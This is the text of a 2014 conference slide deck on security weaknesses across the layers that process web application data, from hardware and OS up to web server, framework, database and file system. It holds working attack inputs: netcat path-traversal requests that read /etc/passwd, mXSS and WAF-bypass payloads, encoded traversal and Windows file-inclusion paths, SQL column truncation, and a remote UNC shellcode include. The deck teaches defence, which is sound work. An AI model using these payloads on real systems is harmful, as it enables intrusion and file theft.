Vulnerabilities in data processing layers

Omar GanievPHDays 2014

Moscow

whoami

• Beched (ahack.ru, @ahack_ru)• Math student• RDot.Org (CTF) team• Penetration testing expert at IncSecurity

Intro

• Application’s behaviour is defined not only by its code, but also by a plenty of external factors such as environment

• We’ll try to dig into different layers of data processing and point out the potential dangers which are often ignored by developers

Program? Turing machine!

Real program

• A lot of inputs• User supplied input• Operating system environment• Hardware• We‘ll talk about general situation and will pay

specific attention to web applications

Web application interaction

Browse

r

Web

server

Application

Web application interaction

Bro

wser

Web server

Framework

Database

Request processing layers

• Hardware• Operating system• Browser• Network• Web server• Framework• Application• Database• File system

Request processing layers

• In general case:Hardware

OSClient

NetworkServer

Data processing

• Each layer has some inputs and outputs• Each input and output is somehow processed,

normalized, filtered, etc• Developers often consider only the user inputs,

which are explicitly defined in the code• Other problem is that often output contains

sensitive information which is used as an input for some functions

Input/output trust

• Which input can be trusted, and which one is user-controlled?

• Which input is secret, and which one is contained in output?

• This is not always clear• Let’s observe each abstract layer and look at

input and output processing weaknesses

Hardware layer

• Input from pseudo devices /dev/random , /dev/urandom in Linux is not always safe, see http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Gutterman.pdf

• Speed of system clock quartz crystals depends on the temperature. This creates a side channel (clock skew) for attacking anonymity systems: http://www.cl.cam.ac.uk/~sjm217/papers/ccs06hotornot.pdf

• Cryptanalysis via various physical side channels

Operating system layer

• int main() { system(“id”); }• Safe? No! There’re no inputs in application,

but there’re inputs in environment• PATH=.:$PATH• Put shellcode in ./id and run the executable• Real-world example: CVE-2013-1662, unsafe

popen of lsb_release file in suid vmware-mount binary

Operating system layer

• External libraries provide another input point• This results in such attacks as DLL injection

and hooking• CreateRemoteThread, SetWindowsHookEx,

etc in Windows• LD_PRELOAD in Linux

Browser layer

• Browser makes a lot of transformations of the data

• The purpose of transformation is standard compliance (like RFC, W3C)

• The transformations are often done after input validation by web application

• Breaking standards leads to various client-side attacks

Browser layer

• XSS, UI redressing, URL spoofing, HTTP response splitting, open redirects via the single HTTP parameter – Request-path: https://rdot.org/forum/showthread.php?t=2596 (by @black2fan)

• Browsers incorrectly treat Location response header and inject malicious data into Request-path

Browser layer

• Mutated XSS (mXSS) is an attack on the output • Browsers compile non-valid HTML pages into

some canonical form• The transformations can be quite weird: https://

cure53.de/fp170.pdf• More examples:<listing>&lt;img src=1 onerror=alert(1)&gt;</listing><img src= alt=“onerror=alert(1);”>• Try at http://html5sec.org/innerhtml/

Browser layer

• All the checks and input validation are typically done on the server side

• Hence, mXSS can bypass such checks and WAF• Consider signature-based filter (for example, in CMS

Bitrix)• We can encode bad words in the following mXSS

payload for IE:<listing>&lt;img src=1 o&#x6e;error=alert(1)&gt;</listing>• This is rendered into <img src=1 onerror=alert(1)> and

bypasses WAF

Network layer

• TCP timestamps can reveal various information (see Hardware layer)

• Network administrators often forget about internal recursive DNS servers, which makes it possible to transfer data in DNS tunnel, bypassing firewalls

Web server layer

• HTTP daemon should verify validity of the packets

• Fields should meet RFC rules• But can one assume that this is the case and

trust any HTTP header field?• No! Apache is a typical example of the

software, which breaks the rules

Web server layer

• Let’s discover Apache magic$ echo a | nc localhost 80• 400 error? Nope, the index page is loaded. Note this: ["SERVER_PROTOCOL"]=> string(8) "HTTP/0.9" ["REQUEST_METHOD"]=> string(1) "a" ["QUERY_STRING"]=> string(0) "" ["REQUEST_URI"]=> string(0) ""

Web server layer

• Often $_SERVER[‘REQUEST_URI’] is used in file inclusion, can we perform a path traversal (not in QUERY_STRING)? Example:

<?$docroot = $_SERVER['DOCUMENT_ROOT'];$url = explode('?', $_SERVER['REQUEST_URI']);$path = substr($url[0], 1);$parts = explode('/', $path);if($parts[0] == 'assets') { readfile("$docroot/$path"); exit();}

Web server layer

• Okay, let’s try:$ echo 'GET /../../../../../etc/passwd' | nc

localhost 80<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML

2.0//EN"><html><head><title>400 Bad Request</title>

Web server layer

• Here comes double-slash magic:$ echo -e 'GET xassets/../../..//etc/passwd' | nc

localhost 80root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/sh…• Clearly, this should not work, but it works. You

should not trust the web server data processing!

Web server layer

• Similar constructions are often used in MVC projects to parse the controller and action values. Example from the article in Xakep magazine (167):

$piecesOfUrl = explode('/', $_SERVER['REQUEST_URI']);

… $controllerName = $piecesOfUrl[1];… include $fileWithControllerPath;

Web server layer

• Looks like secure, but what if someone launches this on the Windows box with Apache?

• The following payload will then include myfile.php:

GET a/\..\..\..\..\..\..\..\..\myfile/..//• There’re lots of such code snippets on GitHub

(vulnerable to file inclusion via REQUEST_URI, not necessarily under Windows)

Web server layer

• The Host header is also untrustworthy, since the usage of $_SERVER[‘HTTP_HOST’] can lead to logical vulnerabilities

• For instance, spoofing of the password restore link

• See http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html

Web server layer

• This was all about input. What about output?• Web servers reveal current server time (Date

header), static files’ modification time (Last-Modified header)

• This can be used to predict the PRNG seed in PHP (using also PHPSESSID cookie value): http://habrahabr.ru/company/pt/blog/149746/

Web server layer• Also consider the following code:function genid() {

mt_srand(time());$h = fopen('entropy', 'r');$fstat = fstat($h);fclose($h);return md5(mt_rand() . $fstat[ 'atime' ] . $fstat[ 'mtime' ]);

}• An id generated by such a function is insecure: an attacker

can obtain mtime from Last-Modified header and atime -- by accessing ‘entropy’ file and reading Date header

Framework layer

• Do not always trust frameworks! Not every method is secure, read the source code and documentation

• Insecure Ruby on Rails methods: http://rails-sqli.org/

• Rather popular Yii class with a lot of find*() methods without SQL injection protection: https://github.com/yiisoft/yii/blob/master/framework/db/ar/CActiveRecord.php

Framework layer

• Example of insecure data processing inside the framework CakePHP: http://www.securityfocus.com/archive/1/527974/30/0/threaded

• The data (PATH_INFO variable) is first validated and then decoded, thus it’s possible to bypass the check: /theme/Test1/%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd

Database layer

• DBMS store data in the fields with particular format (VARCHAR, BLOB, TEXT, INT, etc)

• Each format has its own limitations, thus, an input data is transformed – trimmed or truncated

• SQL column truncation attack can lead to compromise of any user account in the system:

INSERT INTO `users` VALUES (‘admin x’, ‘password’);

Database layer

• PHP function addslashes can be bypassed: http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

• This is due to charset transformations, when MySQL connection uses multi-byte charsets like BIG5 or GBK

File system layer

• In PHP there’re a lot of weird file path normalization algorithms

• FindFirstFile WinAPI method allows to pass wildcards instead of exact paths to include functions under Windows: https://rdot.org/forum/showthread.php?t=926

• For example, this will include C:\boot.ini:include 'C:<oot"<<';

File system layer

• In old version of PHP: /etc/passwd///[x4096]///.php = /etc/passwd ; /etc/passwd///// = /etc/passwd

• Open_basedir bypass via glob wrapper: http://ahack.ru/bugs/php-vulnerabilities-exploits.htm

• The path glob://… is first considered as relative and then is converted into URL

File system layer

• Allow_url_include and allow_url_fopen bypass via UNC path:

include '//IP/path/shellcode.txt';• Security checks are performed before

transformation into remote UNC path

Outro

• Interaction with program goes through different layers, and each layer has its own parameters and data processing rules

• The rule: first formatting, then validation• Each variable, which is not explicitly set in the

code, should be treated as a potential source of malicious data

Thanks for attention!Questions?

admin@ahack.rubeched@incsecurity.ru